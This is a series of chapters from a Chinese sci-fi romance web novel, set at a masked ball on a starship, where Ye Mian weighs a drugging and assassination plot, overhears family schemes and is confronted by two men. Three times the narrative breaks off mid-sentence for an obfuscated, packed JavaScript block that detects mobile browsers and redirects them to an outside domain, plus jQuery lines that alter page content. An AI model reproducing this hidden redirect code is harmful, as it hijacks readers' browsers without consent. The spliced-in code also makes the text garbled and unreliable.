法蒙眯了眯眼睛,呼出一口气:“等反抗军倒台,来给我做事吧。”
只是做事吗?叶眠的眼神与他一触即离,不知是谁偏开视线,是谁心跳加快。
“星舰武器都拆除了,防卫队的星船会在附近巡逻,”法蒙沉声说,似乎并不理解这些话有多煞风景,“没有接到反抗军有动作的通知,但如果在这里逮到陆风,我不会让他轻易逃走。”
叶眠心跳慢了半拍。
“嗯……”她在法蒙冷然的视线中沉吟半晌,“行,需要我怎么配合吗?”
法蒙要杀陆风怎么办?
又不是杀她,她还得怎么办?上三炷香吗?
法蒙贴近半步,低着头看她:“这次不给他打掩护了?”
叶眠笑说:“权宜之计罢了,典狱长还吃他的飞醋吗?”
不知道哪个字戳到了他的肺管子,法蒙表情晦暗地退回到沙发上。
“到时候我要跟你跳第一支舞,不要让我找不着女伴。”
他不再隐瞒自己继承人的身份,双腿交叠,抛弃了作为军人的纪律性,反而显露出一种随意的野性。
“嗯。”叶眠心想这腿真长啊,别开眼睛看向舷窗外。
一上星舰,两人就带起了假面,法蒙低声说:“你自己四处转转,记得,八点要到穹顶大厅。”
叶眠伸手给他紧了紧假面系带,认真地说:“既然决定是假面舞会,就保护好你的面具。”
法蒙沉沉地笑了一声,推她一把,若有所指地说:“你的权限跟我持平,哪里都能进,去玩吧。”
这并不是一场特别正式的舞会,流程定得很随性,也不要求大家都把脸遮得严严实实。
巨大的战争机器被改装成娱乐场所,宽阔的甲板上有各种花里胡哨的投影,以及服务生的餐车。
……餐车?
叶眠挪不动腿了:来都来了。
等她真拿上纸杯蛋糕了,却又有些投鼠忌器起来。
叶眠愁容满面地想,这裙子腰太紧,她饿了一下午才舒服点,要是吃进肚子,万一给撑裂了怎么办?
孔雀一样华丽美好的女人捧着纸杯蛋糕的模样,落在有心人眼里就成了西子捂心一般的场景。
李东垣看得差点痴了,却听调酒的侍应生问:“先生,你的花花公子。”
“哦,再调一杯SexontheBeach,”李东垣舔了舔嘴唇,“弄漂亮点,甜一点,我要送给那边的美女。”
“那边的美女”叹了口气,心想我得吃一口,歇会儿,再吃一口,再歇会儿。
李东垣端着酒杯过来了,叶眠刚吃下一口蛋糕,还在细细品味丝滑奶油与绵软戚风。
甲板的侍应生穿着统一的蓝色马甲,带着蓝色的半脸面具,叶眠全当他是游走的侍应生,在李东垣开口前,亲切地说:“我不喝,谢谢,辛苦了。”
李东垣脑子还没转过来,就听叶眠继续说:“今晚挺累的吧?我帮你挡着,性感沙滩就当请你喝了。”
李东垣总算是理解了,他面色一沉,叶眠却已经尽职尽责地当起了遮挡物:“快喝啊。”
她眼疾手快地拿起花花公子浅尝一口,露出个难以忍受的表情:“酒感太重,唉,不如小甜水。”
李东垣瞠目结舌,扭头看向调酒师的小车,却见那边已经站了两圈人,再去点恐怕要耽误不少时间。
他低头看了看自己蓝色的马甲和臂弯里的西装,在美女“好心”的注视下,忍气吞声地喝下了那杯齁甜的粉色小甜水。
等他喝完,叶眠还贴心地从旁边抽了个托盘,把只喝了一口的矮方杯放上,然后一起递给他:“送回去吧,用托盘好拿一些。”
她施施然走了,李东垣却差点气炸了。
这个死女人,绝对知道他不是服务生,故意折辱人!
孔雀女是吧,他满心阴邪地想,我记住你了。
叶眠进了塔楼,顺手拿了一杯威士忌纯饮装样子。
她走到三楼的外平台,垂着眼看下面明显余怒未消的男人,心道:唉,好心被当驴肝肺,不是爱小甜水儿吗?多喝点啊。
星舰的塔楼大得惊人。一层是穹顶大厅也是舞厅,二层是餐厅,三层是休息室,四层是私人会客厅。
三层的走廊九曲十八弯,叶眠绕了两圈,心中稍微有数。会客厅分内外两间,十几个德里克都在,反而是三层这一间一间的休息室好操作些。
她看了眼手里的威士忌,开始思考下药让法蒙喝下去的可能性。
他会信任自己到这个程度吗?
——可以自己先喝一口,搞点情趣。
在他出手前,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224765|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我有把握将他秒杀吗?
——有风险,但值得一试。
出手后,多久会被保卫人员发现?
——我大概率会受伤,最好主动报警。
用什么口供?
——有杀手翻窗跑了,而我异能被锁,绝对无害。
星舰会不会更改航线?
——可能会,可能不会。不重要。
逃生靠什么?
——混入疏散人群。
叶眠慢条斯理地想着,又溜回了四楼。
她决定跳舞后动手。
刚刚还在的几个德里克送法蒙去了,叶眠大摇大摆地走进了内会客厅。
四层的外平台挂了锁,她在甲板上就看中了这个平台,从上往下视野很好,人工种植的作物也适合躲藏。
叶眠站到平台玻璃门口,掀起裙子,给自己打了一针。静等几分钟后,她单手握锁,用了一式她刚练到半成的异能。
“绝对零度。”她轻声念出了技能名字。
闭锁系统嵌在门里且24h联网,外显的认证部分只有巴掌大,她没法一口气把整个系统搞坏。
缜密的电子锁在无孔不入的低温中,内在一线悄然改变了颜色——叶眠不需要他整个掉下来,她只需要门锁关节零件掉链子。
“咔嚓。”
轻不可闻的一声传进叶眠耳朵,她勾起唇角,心中一哂:这招梦里练过很多次,但没敢在沈医生眼前用,因为杀伤有点惊人,没想到现实一次就成功了。
下一秒,异能透支的虚脱和神经刺痛一齐涌上,叶眠脸色一变,满脑子[*星际粗口*]。
现实中异能透支怎么这么恐怖!
她撑着最后一口气推开玻璃门躲进外平台,把门严丝合缝地关上后,有段时间完全失去了意识,颓靡地倒在地上。
重新醒来的时候,眼前所有东西都像蒙上了一层黄色滤镜,她揉了揉眼睛,还是看不清楚。
叶眠镇定地想:有点像低血糖。
看了眼时间,其实只过去几十秒,但她感觉自己像是死了一回一样。
好恐怖,叶眠在心中咋舌,还好没摔到。
她理了理裙摆,从腿环上解下窃听器听筒,顶着满眼通黄的视野,淡定地开始偷听里面的脚步和说话声。
“都走了?”
“嗯。”
“真是条养不熟的狗!”
“消消气,好歹答应了回来做事。”
“你听他放的狗屁了吗?他要先整改那个破监狱!我让他当典狱长是为了让他当典狱长的吗!”
叶眠想笑,无奈地摇了摇头。
“早晚做完的,现在所有人都知道德里克后继有人,他去做那些吃力不讨好的事情,又不跟参军有我们撑腰一样,很快就会知错了。”
“唉,倒也是。”
一阵杯具相碰的清脆声音,然后是液体流淌的哗啦声,两位老人的声音听起来安然了不少。
“你知道汤姆森手下不太干净吧?”
“不止知道,我还听说他准备对法蒙下手。”
“也是个猪脑子,”老年男性的声音一停,他叹了口气,“用什么计策不好,他要给法蒙送女人,怕自己死得不够快吗。”
叶眠眼睛眯了一下,伸手拔了一根茎杆螺旋状的草。
“不止他,另外两个也在蠢蠢欲动。我倒是想看看,他们哪个能杀了法蒙。”
“你不会真想……”
“难道你不想吗?杀了他,就能直接回收安娜和艾文的旧部,那三个孩子,有你的亲孙子,我的亲孙女。旧部的势力给谁不好,他身在革命党,想要扭转他的心,不如直接夺他的权。”
“……”
“反正有安娜和艾文在先,我们也不是第一次做了。”
短暂迟疑后,老年男性问:“还能跟反抗军联系上吗?”
叶眠按捺住叼起那根怪草咬出汁子的冲动,心想今天是真听到了不得了的东西。
“不过,陆峰已经死了,他儿子能跟我们合作吗?”
叶眠听到这句,一愣,终于放下了她的草。
她有个新想法:与其杀了法蒙让这两个顽固派的老东西高兴,还不如让法蒙活着,漏点风声出来,看他们三方角逐。
制衡虽险,但可以小博大。
“唉,等明天吧。”
叶眠看了眼时间,快到八点半了,她得去跟那个倒霉孩子跳舞了。
35. 第 35 章
倒霉孩子·法蒙站在主席台下,看着两位爷奶辈的老德里克搀扶着走到台前,开始了他们冗长而无趣的演讲。
德里克百年兴衰,但那些,其实跟现人没有半个星币的关系。
舷窗外是墨蓝色的星空,法蒙看了一会儿,转回头来开始寻找那个墨绿色的女人。
等老爷子讲完,就轮到他致辞,他的致辞很短,讲完就要开第一支舞。
——他没看到叶眠。
“有请德里克先生上台致辞。”
虽然没有指出具体名,但显然,所有人都明白这才是今晚的正题。涣散的注意力被抓回,他们交头接耳、四处张望,试图找出哪一位隐藏在他们中的人会上台领下这个名头。
法蒙稳稳地抬腿,走上了白色的旋转台阶。
他身高腿长,不论从哪个方向看都是一等一的人物,线条锋利的下巴露在假面之外,眼睛的形状被严丝合缝地卡死,假面贴紧发丝,平添几份神秘。
“我会把德里克带到一个更高更好的位置。”
是的,他只准备了一句话。
在晚宴开始前,他看着毫无心事的叶眠,把那些捣乱、败兴的话都收了起来,只剩这么一句。
因为他意识到,自己想跟叶眠顺利地跳下来一支舞,用这种半公开的方式,向所有人展示。
他说完就偏头,看向后面的大伯父。
卡门皱了皱眉头,一拍手,乐队简单对弦,随后奏起了音乐。这是多年前一位德里克音乐家写的舞曲,用在家族的舞会开场,也是刻意用心。
“去吧,由你来开第一支舞。”卡门尽量保持和蔼地说。
法蒙目光慢慢扫过台下形形色色的人,心中有些躁郁。
他好不容易决定乖顺一把,今天没有任何发作和忤逆,但到了这个环节叶眠却不在,而要他随便指一名女性跳舞,又太违背本心。
法蒙刚准备开口,这时,舞厅大门突然被一只素手推开。
几乎有一半的人都转过头去,然后他们就看到了那个带着孔雀面具的女人。
跟几小时前分开的时候没什么变化,法蒙的视线遥远而紧迫,但叶眠大方地推门而入,仿佛完全没有时间观念,也不知道她让整个首都星站位最高的那些人硬生等了半分钟。
法蒙唇角微动。
“希望我没有来晚,”叶眠提着裙摆,优雅地向法蒙走来,声音清亮,与平常略有不同,“德里克先生。”
“不,你来得刚刚好。”
法蒙走下高台,微微俯首,抬起她的一只手,虚虚一贴,然后双手交握,另一只手揽住她的腰,不引人注意地微微用力。
叶眠顺从地往前,垂首,跟着法蒙踩进了舞步的第一拍。
人群里的李东垣木了。
孔雀女?
德里克继承人的舞伴?
这一刻,她的所有行为一下子有了新的解释——她的高傲,她的玩笑,她的意有所指,她的点到为止。
冷汗悄悄泅湿了后背。
李东垣不敢再看,他藏起自己惊骇的视线,假装无事发生地往人群里躲去。
卡门·德里克站在台上,他用的俯视视角,评判审阅的眼神混在好奇的众人之间,其他人看的是他们两个,他眼里却只有那个奇怪的女人。
——他今晚在上四楼的时候碰到过她。
进入特殊电梯必须要特殊权限,也就是说,法蒙给她分享了跟自己平齐的权限。
那么下一个问题,她是谁?
不止卡门,在场有不少男男女女心里都有这个疑问,一个神秘的继承人,出场却指明了一位女伴,大概相当于公开他的私人关系,如果过度解读,甚至可以理解为联姻已定,合作在即之类的信号。
人群中,有两位比较特殊。
陆风在看到她推门而入的时候就怔住了,舞曲进行到一半,他依然觉得不可置信。有一瞬间他想拿出终端,确认一下叶眠有没有老实地呆在基地,但身后就是值岗的服务生——实际上是德里克的警卫人员——他不能暴露。
他不解,然后回想起这几日叶眠的言行举止,感受到一种后置的、被欺瞒的怒火。
她为什么不说?
她为什么会认识法蒙?
法蒙为什么会选她作为自己的舞伴,在这种场合、用那种眼神,跟她跳第一支舞?!
有一瞬间,陆风手指一动,几乎要直接动用异能。
但是,不行。
这个身份算是他所有手牌里藏得最深的一个,名义上还有妻儿,手下更是联通着人际暗网,那些都是反抗军情报部门的探子,但一发而动全身,他不能轻举妄动。
所以,就只能这么看着吗?
看着他们相拥,看叶眠沉浸地微笑,看他们穿着那仿佛情侣装的礼服,在所有人眼前共舞。
陆风咬死了后牙,几乎尝到血腥味。
是的,他只能这么看着。
眼里烧着不会被轻易盖灭的火,他想:我等着。
另一位,则是仗着亡父余威受到邀请的蒋钰。
他对跳舞不感兴趣,对德里克继承人也不感兴趣,其实本来就没想来这场活动,只是老管家苦苦劝他,说他要撑起蒋仕临的场子,
周围人都站着,只有他坐着,那一身优雅贵气,比起诸人只高不低。
蒋钰戴的是一件由暗色宝石拼接成的独眼面具,一只眼睛露在外面,张扬到只要认识这个人,就不会认不出他。一晚上有不少人过来与他攀谈,他厌倦这种应酬,只觉得一个个都不长眼,看不出他的火气。
现在他手里拿了杯酒,有一搭没一搭地品着,本来想着熬到第一支舞结束就离开,但所有的从容都在那个女人出现时,裂开了一道缝隙。
熟悉。
非常熟悉。
致命的熟悉。
咽下最后一口酒,酒杯无声地落到桌子上。
他想起来了,是他的妻子,那位应该在C监服刑的女囚徒。
好看的眼睛里闪过一丝犹疑,让那张焊在脸上的温文面具有一瞬消失,显出几分阴鸷之色。他转动着手指上的戒圈,开始回忆上次听说那人的消息是什么时候。
好像已经是十几二十多天前了。
他以为她已经死了。
朝夕相处两年,蒋钰自认为已经很熟悉叶绵绵的身形和性格,这位小姐嫁入他们家一天福没享过,地位跟家里的女仆差不多,性格懦弱到被当狗使唤也没什么怨言,除了对蒋仕临的拼死一击……
蒋钰的脸色越来越难看,漂亮的嘴唇被抿成直线。
此时此刻,他并没有100%确认,在灯光和目光聚焦下翩翩起舞的那个女人就是叶绵绵。但只要是这么想一想,他就感觉心里仿佛有万蚁啮咬——她只配跪在他脚下低眉顺眼地做事,怎么敢、怎么能到这种地方,甚至跟德里克的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248382|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人搭上关系?
他随口吩咐后面的人:“给我查她。”
可惜这里并不是他带着家仆耀武扬威的地方,蒋钰没得到老管家的回应,终于想起来这是德里克的星舰。
蒋钰压着那点莫名的不适,摘下了无名指上的戒圈,换到另一根手指上——这枚戒指甚至是他跟叶绵绵的订婚戒,当时由他自己亲手设计,用的是海蓝星特产的蓝宝石。
叶绵绵的戒指被他收回去了,现在场中央的那个女人手指上什么都没有,但搭在对面那个德里克的深色西装上,白到让他感觉刺眼。
叶绵绵……会是你吗?
是使了什么手段逃出来了吗?
这种你逃我追的戏码,让蒋钰久违地感受到一种兴奋。自从叶绵绵被他亲手送进C监后,他已经很久没有这种体会了。
第一支舞结束,两人略略行礼,乐队短暂停住演奏,随后换上了时下最流行的舞曲。
法蒙离开时死死抓着她的手腕,仿佛不这么干她人就要变成鸟飞走。
叶眠无奈,心想我没想到外平台那道门竟然是两道锁轮换,她差点被锁在那里,最后是顺着墙外从四楼跳下来的——活像什么特工。
“抱歉,我也没想到,来迟了一点,还好没耽误。”她主动认错,被一路扯着上了三楼。
“我差点就要跟他们说这第一支舞我不开了,叶眠。”法蒙拉开一间休息室的门,把人推进去,反手带上,门板发出“砰”一声。
叶眠不知道他葫芦里卖的什么药,没想到他反身把她一拉,孔雀毛面具被扯下,下一秒,那双看起来如铁般冷硬的唇就印到了她的唇上。
跟想象里一样凉丝丝的,但论软硬,确实比他这个人的性子要软不少。
他几乎是急切地含住她的下唇,用不得章法的技巧碾过她的齿关。
叶眠被他亲得一懵,第一反应竟然是陆风还没亲到呢,先给你亲到了。
法蒙一口气亲到末尾,睁眼就对上了叶眠的满眼惊讶。
他呼吸微快,掐住她的下巴,语气发重,带着一股狠劲:“别这么看我。”
叶眠说:“我不太理解,法蒙先生。”
她的口红被他蹭到了外面,似乎有些狼狈,可实际上她可比他冷静太多太多。
叶眠微微用力把人推开,带着一点惶恐的语气说:“我以为我们是合作关系,你帮我离开C监,我帮你传递反抗军内部的消息,但这个吻,先生,你把我当成什么了?”
“今天有很多人看到你,叶眠,”法蒙的眼睛仿佛照不进光的黑洞,“等今天结束之后,很多人会来查你的身份。”
有面具遮挡,叶眠就靠想象补全他的上半张脸:眉头压着,像是坠着石头、要把人拽进无底的深渊,眉心浅浅的竖纹,负隅顽抗地保持着冷硬的上位者姿态……
法蒙深深地吸了一口气,仿佛一场自己跟自己的无形斗争终于落到结局。
“我在考虑我对你的欣赏,或许不止合作,不止上下级,而是更进一步的,更深刻的,”他语气微微发干,但又有种隐秘到连自己都没察觉的期冀,“对我来说,非常罕见的。”
叶眠心里几乎要笑出声,她甚至想:你知道我本来准备在这里对你做什么吗?
下药和暗杀,法蒙,你真该庆幸。
而表面上,叶眠眨着眼睛,十分茫然地问:“那是什么呢?”
告诉我,是什么呢?
36. 第 36 章
法蒙在部队里曾经有一位战友,他说自己有未婚妻,等他退伍就结婚,还满脸幸福地跟他们说,他跟未婚妻一见钟情,两人是生理性喜欢。
法蒙不理解。他觉得所谓生理性喜欢无非是激素作用,难听点说就是精虫上脑,有自制力的人不可能会被这种状态控制。
战友知道他脾性,不跟他争,只是一脸坠入回忆的表情:“你没遇到过,不会懂的。我爱她的全部,她不用香水我也觉得她像个香软小蛋糕,只要我们呆在一起就会想拥抱亲吻,各种意义上都很合得来,包括身体,你懂吗?她美好得就像天使,我们之间是百分百的契合。”
后来,战友死在帝国跟联盟的交战前线。
葬礼上,法蒙见到了那位身穿黑群的未婚妻,苍白、寡淡,身材矮小,丝毫不引人注目。
六个月后,她就跟另一个人结婚了,战友的死亡似乎并没有给她的人生蒙上什么阴霾,因此法蒙认定,“生理性喜欢”,那不过是爱情给人的幻想。
然后,他遇到了叶眠。
直到今天法蒙才后知后觉地理解,他跟叶眠的每次接触,似乎都在加深一些东西,而那些隐秘的感情和冲动如同一层一层累加叠成的蛛网,无声无息地逼近,终于把他紧紧黏住,再也不能脱身。
什么卧底,什么下属?
他想要她成为他的。
只是他的。
叶眠很想听法蒙自己承认,她觉得,等到他肯承认内心的那一天,就是她可以随便拿捏这个男人的那一天。
他的自尊、他的手段、他的势力、他的钱……不过这些都是附带的,她从没忘过自己最想要的东西——她的自由。
相比起蓄谋已久的暗杀,这种结局似乎更好看一些。
法蒙看着她的眼睛,没有第一时间说话。他伸手摸了摸她的头发,稍微压下心中的狼狈和汹涌澎湃的意图。
他开口,没有正面回答:“我只是有点后悔了。”
后悔什么?
叶眠奇迹般地理解了他的意思——后悔让自己回到陆风身边卧底。
叶眠继续装傻,迟疑地说:“抱歉,我还是不太理解。”
他在进门的时候拽下了她的面具,自己却依然藏在假面之后。眼下他把她的面具扣回脸上:“不需要理解,你只要知道,最晚到反抗军换届,你就可以离开陆风了。”
“你想杀他吗?”法蒙的手落在她手臂上,带着一点热度,两人距离依然近到出格,他放任自己行动,跟她隔着面具,额头相贴。
“我觉得这样不合适,法蒙。”叶眠轻轻地叫了他的名字,伸手去勾他的面具系带,被他一把抓住手腕。
“怎么不合适?不想杀他?”法蒙手指微动,从手腕滑到她掌心,五指钻入她的指缝,仿佛亲密恋人的十指相扣。
叶眠已经有点演不下去了:“你知道我说的不是陆风,他根本无所谓。”
“对,就是这样,”法蒙微微后撤,语气竟然出奇的温和,顺着她的话说,“他真的无所谓。”
趁这个机会,叶眠把手挣松了一点,换了个认真的口吻:“他对我来说无所谓,那如果你的家人要跟陆风联手呢?”
“不知所言。”法蒙说,摩挲着她的手指,“德里克再不济也不会跟反抗军联手。”
“是我亲耳听到的,”叶眠语气微急,“都什么时候了,你家的事,你不应该比我更清楚?”
法蒙被她带的一乐:“你从哪听的消息?”
叶眠几乎不反抗的举动仿佛给了他一些鼓舞,他还在想:可能叶眠真的觉得无所谓,所以也不会在乎他曾经把她当成卧底工具。
结果,叶眠不客气地打破了他的感觉良好:“我在四楼听的,窃听器放在外平台,你现在去找,应该还能找到。”
法蒙一愣,看起来脑子终于回到了该在的地方:“四楼?内会客室的外平台?你去那做什么?”
“这不重要,反正我听到了是一个老头和一个老太,说汤姆森准备给你使软手段,另外两个也准备暗杀你,最后他俩干脆准备亲自联系陆风的儿子,”叶眠说完,又补了一句,“你清醒点吧。”
法蒙确实有些冲动,但还没有不理智到完全暴露自己,既然今天拉扯下去也是没营养的扯皮,叶眠就不想跟他浪费时间了。
法蒙睫毛微动。
“根据我之前从反抗军基地里窃取的珍贵资料,陆峰跟德里克确实有过短暂合作。”法蒙冷静下来,也没拿叶眠当外人,“他们一起捣毁了一个非法实验基地,里面关了几百个异能天赋B级以上的孩子。”
叶眠:该不会是我偷的那份资料吧?
法蒙继续说:“但是从那之后就没有任何瓜葛了,因为提议合作的,是我父母,两个不计较出身和能力的理想主义者。”
他语气微涩:“艾文和安娜,他们去世了。”
家族会议上卡门给法蒙看的信,就是这对夫妻生前跟陆峰的通讯。信里没什么有实际价值的信息,但对比了私戳,确实是亲笔。
安娜每年都会去死星和垃圾星探访,私下接济一些比较困难的家庭和孤儿组织,机缘巧合发现了那个藏在盆地中的巨大基地,于是主动联系了军事力量前去解救实验体。
“根据反抗军的资料,那一方‘军事势力’,其实就是反抗军。”
法蒙进入状态比叶眠想得要快,叶眠心道:果然对于这些人来说,不论是他还是陆风,感情什么的,还是不如事业重要啊……
法蒙说:“我怀疑我父母的死亡背后有反抗军手笔,但是在知道他们曾经合作后,现在反而有些不确定了。”
叶眠想起陆风的眼睛:“反抗军内部不和平,陆峰也死了,说不定确实如你所想,只是动手的不是陆峰这一边呢?”
法蒙点头:“所以最重要的还是换届,我会摸清他们的地点,提前部署,一网打尽。”
他嘴角微抿,话里流露肃杀之意。
叶眠耸肩:“那么今天就这样?”
法蒙手指微蜷。他想要一个确切的答案,已经做到这一步了,他心知自己已经无路可退。但,有时候对方的回避就已经说明了一切。
他想,没事,还有时间,叶眠并不在意陆风,等陆风死后,他们会有很多的时间。
叶眠整理了一下裙摆,德里克家的天之骄子就这么直勾勾地看着她,明明什么动作都没有,却硬是表达出了一种生硬的挽留。
你留你的,我走我的。
叶眠微微一笑,就在准备推门而出的时候,她突然停下脚步,转身,最后问了一遍:“法蒙,这个,你不准备给我解开,对吗?”
法蒙薄薄的嘴唇一动,眼中有冲动,有挣扎,还有不信任。
“好了,不必再说。”
叶眠心中叹息:这次真的给你机会了。
她戴稳那副华丽的孔雀面具,确保刚刚的短暂交锋没有留下太多痕迹,随后拉开休息室的门,穿过走廊,重新回到楼下。
舞会正式开始,觥筹交错,有几对宾客在舞池中跳舞,但更多的都留在舞池之外,交流着对那位德里克的猜想和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261299|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
揣测。
叶眠本想避人视线,然而,她刚拿起一杯侍者托盘中的香槟,一个身影便挡住了去路。
来人戴着镶嵌宝石的独眼面具,露出的那只眼睛紧紧锁住她,即使隔着面具,叶眠也能感受到那目光中混杂的审视、惊疑,以及一丝不易察觉的……被冒犯的怒意?
他微微倾身,用一种刻意压低的、只有两人能听清的音量开口,声音里带着他惯有的柔和,却因为奇特的态度而显得有些紧绷:
“这位小姐的舞姿,令人印象深刻。”
叶眠心中微提,但面上丝毫不显。
她再次体验到了“故人重逢应不识”的憋闷:……你是谁?
叶眠晃了晃杯中金黄的液体,语气轻描淡写,甚至带点被陌生人打扰的疏离:“谢谢。抱歉,您是?”
蒋钰的嘴角似乎抽动了一下,他显然不信她没认出他,或者说,他不信“叶绵绵”认不出他。
“一面之缘或许不足挂齿,”蒋钰的目光落在她纤细的、空无一物的手指上,语气愈发意味深长,“只是觉得小姐格外眼熟,像极了一位……故人。”
“哦?”叶眠挑眉,面具下的红唇勾起一抹玩味的弧度,“看来您那位故人,肯定也是位美人吧。这夸奖我收下了。”
她四两拨千斤,完全不上套。
蒋钰眼底的阴鸷之色更浓。他向前逼近半步,试图营造压迫感:“她确实‘曾经’很有风姿,不过后来做了些蠢事,如今怕是早已容颜凋零,在某个不见天日的地方赎罪。”
这话几乎是明示了。
叶眠翻尽所有记忆,终于找到了一个疑似能对得上号的家伙。
——蒋钰。
那位跟她之间横贯杀父之仇的少爷。
叶眠淡定地想:看来蒋钰也已经起疑,但无法确定自己就是叶绵绵。
不过他这个态度,是不是有点太暧昧了?不是杀父仇人吗?
她故作惋惜地叹了口气:“那真是可惜了。不过,这位先生,在舞会上一直谈论另一位女士,恐怕不太礼貌吧?尤其是对您的女伴而言。”
叶眠的目光意有所指地扫过他身后,那里站着一位等候半天的女士,此刻正咬着红唇眼带哀怨,不知道跟蒋钰是什么关系。
蒋钰被她不软不硬地顶了回来,脸色更难看了。
“我没带舞伴,”蒋钰偏过头,冷淡而厌烦地对那位女士说,“滚。偷听这么久,还要我请你离开吗?”
叶眠在心中“啧”了一声。
蒋钰习惯了叶绵绵的逆来顺受,此刻这种带着刺的、游刃有余的陌生姿态,让他极度不适,却又抓不到任何把柄,总不能在这里直接掀开她的面具,或者大喊“你是我那该死在监狱里的妻子”吧?
他深吸一口气,终于撕破了一点温文的伪装,语气带上了居高临下的命令:“你究竟是谁?”
叶眠孔雀面具后的眼睛平静无波,甚至带着一丝怜悯:“我是德里克先生的舞伴。这个答案,您满意吗?蒋钰先生。”
她点破了他的身份,语气平淡得像在说今天天气不错。
蒋钰脸色阴得仿佛酝酿风暴的大海,他怒极反笑:“好,好,我倒要看看你到底是谁,小姐。你最好把尾巴都藏好,不然……”
“就等着被我抓回身边,尝尝违背主人的后果吧。”
蒋钰走了,叶眠脑子里把他的最后一句话狠狠地咀嚼了一下。
如果她没理解错的话……叶绵绵竟然还有角色扮演的癖好吗?
主仆play???
37. 第 37 章
叶眠提前离场、换掉礼服,刘仁把她直接送回了反抗军基地外。
她不太想碰到陆风,因为解释起来太麻烦,于是特意打了个时间差,想避开人。
从商场下到基地内部,房门刚关上,还没来得及开灯,一股强大的力量便猛地将她按在了门板上!
黑暗中,熟悉的气息包裹了她,带着压抑的怒火和一丝不易察觉的……恐慌。
是陆风。
他呼吸粗重,喷在她颈侧,手臂如铁钳般箍着她的手臂,力道大得几乎要捏碎骨头。
“你去哪了?”他的声音沙哑得厉害,每个字都像是从牙缝里挤出来的。
叶眠没挣扎,只是很快适应了黑暗,看着眼前男人模糊的轮廓,甚至有些疑惑的样子:“怎么了?”
陆风低笑一声,笑声里带着些许嘲意:“怎么了?你要让我说吗?德里克的第一支舞,嗯?你知道多少人都在讨论你吗?”
他认出来了。叶眠心想。
“对方突然邀请,我不好拒绝。”她言简意赅,试图用抽离冷静的态度平息他的怒火。
“不好拒绝?”
陆风的手指抚上她的脸颊,指尖带着薄茧的粗糙,仿佛下一秒就要磨破她的脸皮:“我看着你们跳舞,看着他对你……叶眠,你知不知道他看你是什么眼神?”
他的语气看似平静,却有种触及崩溃边缘的疯感。那种所有物被觊觎、甚至可能失去的恐惧,混合着被欺瞒的愤怒,几乎要将他点燃。
“你觉得我不懂吗?嗯?”
那是跟我看你一样的眼神。他在心中说。
只是这话说不出口,如果可以,他连想都不愿想。
叶眠默了一下。
“说话,叶眠。”
她能感受到陆风身体绷得发紧,虽然没有流露杀意,但如果处理不好,恐怕会很难看。
“陆风,”她叫了他的名字,声音和缓,带着安抚,“没事,你看,我回来了。”
“没事?”陆风几乎是低吼出声,他猛地低下头,呼吸交错,气氛陡然变得暧昧而危险,“叶眠,我要的是解释。”
告诉我一切。
从头到尾,为什么你们认识,为什么他会邀请你跳舞,你们之间有什么联系,以后还会不会见面……
所有的细节,一字不漏地告诉我。
然后说,你心里只有我。
一直,只有我。
“我给你机会解释,叶眠。”
陆风微微闭了闭眼,努力平复呼吸,抬手击出一缕风,精准地按开了室内的灯光。
叶眠趁他后撤,单手勾过挎包,借着取东西的姿势,给自己手臂快准狠地来了一针。
如果冲突在所难免,她不想束手就擒。
灯亮起来,两人之间的气氛却没有缓和。陆风在等,执着地等,等她开口。
叶眠叹了口气,心想怎么都得拖到药效发作,她指了指沙发:“我们坐下说吧。”
陆风感受到一种如同等候宣判的凌迟,叶眠却在他迫人的注视下先给自己倒了杯水。
在他即将坐不住的时候,叶眠终于喝完了,平和地说:“你想知道什么,你问,我答。”
“为什么会跟法蒙认识?”
叶眠实话实话:“在C监,他是典狱长。”
“我问的不是见面,”陆风上身前倾,双手交叉,目光紧紧地锁着她的眼睛,“你们的交情,从哪天、哪件事开始?”
“因为我想活,陆指挥。”
说出这句话,叶眠由衷地感觉通体舒畅。
她想,这次可是你亲自把刀子递到我手里的。
“因为我二判死刑,孤立无援,而你在外面无动于衷,从头到尾。”
“但我想活。”
陆风的呼吸骤然一停,那双深棕色的眼睛里涌上一些颤抖的痛意,复杂得像是大海里最难解的暗潮。
“法格里布根本不想管胖子,是典狱长出手,我才能获得假释,”她向后靠了靠,坐姿松散,“没有他,我现在早就长眠在C监处刑场了。”
“他凭什么帮你?”陆风咬着牙问。
“你想听什么答案?嗯?他对我见色起意,然后我无以为报、所以出卖自己?”
叶眠没有正面回答,只一个字一个字往他心里扎,扎得毫不犹豫,扎得大快人心。
陆风断然否认:“法蒙不近女色,不可能。”
